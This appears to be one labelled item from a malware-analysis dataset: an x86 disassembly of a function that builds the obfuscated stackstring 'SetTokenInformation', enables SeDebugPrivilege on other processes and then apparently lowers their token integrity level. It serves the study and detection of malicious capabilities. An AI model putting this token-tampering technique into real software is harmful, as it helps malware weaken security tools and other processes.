Function at 0x402af0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52fc90
mov eax, dword fs:[0]
push eax
sub esp, 0x17c
mov eax, dword [0x57dcf0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0xff
lea eax, [ebp - 0x12f]
mov ebx, ecx
push 0
push eax
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x30], 0x616d726f
mov dword [ebp - 0x2c], 0x6e6f6974
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0x6e496e65
mov word [ebp - 0x18], 0x66
mov dword [ebp - 0x24], 0x54746553
mov word [ebp - 0x20], 0x6b6f
mov byte [ebp - 0x1e], 0
mov byte [ebp - 0x130], 0
call fcn.0050a9c0
add esp, 0xc
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x130]
push str._s_s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
xor esi, esi
mov ecx, dword [ebx + 0xbc]
sub ecx, dword [ebx + 0xb8]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x164], esi
cmp esi, eax
jae 0x402e3a
lea ecx, [ebp - 0x130]
push ecx
push 0x55cb1c
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x174], eax
mov eax, dword [ebx + 0xb8]
lea edx, [esi*8]
sub edx, esi
cmp dword [eax + edx*4 + 0x14], 0x10
lea eax, [eax + edx*4]
jb 0x402c07
mov eax, dword [eax]
mov edi, eax
call fcn.00402e60
test eax, eax
jne 0x402c1f
mov dword [ebp - 4], 0xffffffff
inc esi
jmp 0x402b99
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
jne 0x402c3e
mov dword [ebp - 4], 0xffffffff
inc esi
jmp 0x402b99
lea ecx, [ebp - 0x160]
push ecx
push 0xf01ff
or edi, 0xffffffff
push eax
mov dword [ebp - 0x160], edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402c67
mov dword [ebp - 4], edi
inc esi
jmp 0x402b99
lea edx, [ebp - 0x17c]
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x178]
push 0
push 0
push 0x10
lea edx, [ebp - 0x15c]
push edx
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x160]
push 1
push eax
mov dword [ebp - 0x15c], 1
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x150], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
xor esi, esi
jmp 0x402cd0
mov ecx, dword [ebx + 0xcc]
sub ecx, dword [ebx + 0xc8]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp esi, ecx
jae 0x402d88
mov eax, dword [ebx + 0xc8]
lea edx, [esi*8]
sub edx, esi
cmp dword [eax + edx*4 + 0x14], 0x10
lea eax, [eax + edx*4]
jb 0x402d12
mov eax, dword [eax]
mov edi, dword [ebp - 0x160]
lea ecx, [ebp - 0x184]
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x402d82
mov edx, dword [ebp - 0x184]
push 0
push 0
push 0x10
xor eax, eax
lea ecx, [ebp - 0x14c]
push ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x180]
push 0
push edi
mov dword [ebp - 0x14c], 1
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], 4
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
inc esi
jmp 0x402cd0
xor eax, eax
push str.GetLengthSid
lea edx, [ebp - 0x13c]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x168], eax
push 0x55cb1c
mov word [ebp - 0x13c], 0x101
mov byte [ebp - 0x135], 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x168], 0x20
mov dword [ebp - 0x16c], edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x13c]
push ecx
call eax
add eax, 8
push eax
mov eax, dword [ebp - 0x160]
lea edx, [ebp - 0x16c]
push edx
push 0x19
push eax
call dword [ebp - 0x174]
mov esi, dword [ebp - 0x164]
mov dword [ebp - 4], 0xffffffff
inc esi
jmp 0x402b99
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00507b10
mov esp, ebp
pop ebp
ret